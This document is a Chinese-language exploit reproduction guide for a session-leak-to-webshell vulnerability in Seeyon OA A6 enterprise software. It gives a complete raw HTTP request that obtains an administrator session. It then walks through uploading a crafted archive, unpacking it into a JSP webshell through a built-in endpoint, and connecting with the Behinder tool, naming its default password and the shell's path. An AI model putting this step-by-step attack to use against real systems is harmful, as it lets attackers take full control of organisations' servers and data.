1. A6版本漏洞
1.1 Session泄露导致任意文件上传GetShell漏洞
漏洞简介:
致远OA通过发送特殊请求获取session,在通过文件上传接口上传特殊构造的恶意压缩包,并通过解压为webshell控制服务器
根据不同版本的OA (A6、A8 请求链接方式不一样)
漏洞影响:
致远OA A6版本
漏洞复现
第一步:通过固定URL请求获取session:
POST /seeyon/thirdpartyController.do HTTP/1.1Host: xx.xx.xx.xx:9943User-Agent: python-requests/2.25.1Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 133Content-Type: application/x-www-form-urlencodedmethod=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1
可以看到响应包返回了sessionId
第二步:利用该管理session上传压缩包 首先利用chrom插件HackBar,制造出POST请求:
https://xx.xx.xx.xx:9943/seeyon/fileUpload.do?method=processUpload,利用Burp抓包,并将请求中的session替换为刚刚获取到的session:
放包,这时页面跳出上传失败的样式,可以上传文件,返回上传后的路径值:
下一步通过seeyon自带的解压接口将该file解压为源文件,即layout.xml与test233.jsp。
利用HackBar制作/seeyon/ajax.do 的POST请求,并将arguments参数中的值替换为上传文件后得到的值:
可以看见响应码为500:
这时说明已经解压png文件为jsp文件成功,接下来利用冰蝎3连接:(冰蝎默认密码rebeyond)访问URL+
/seeyon/common/designer/pageLayout/test233.jsp。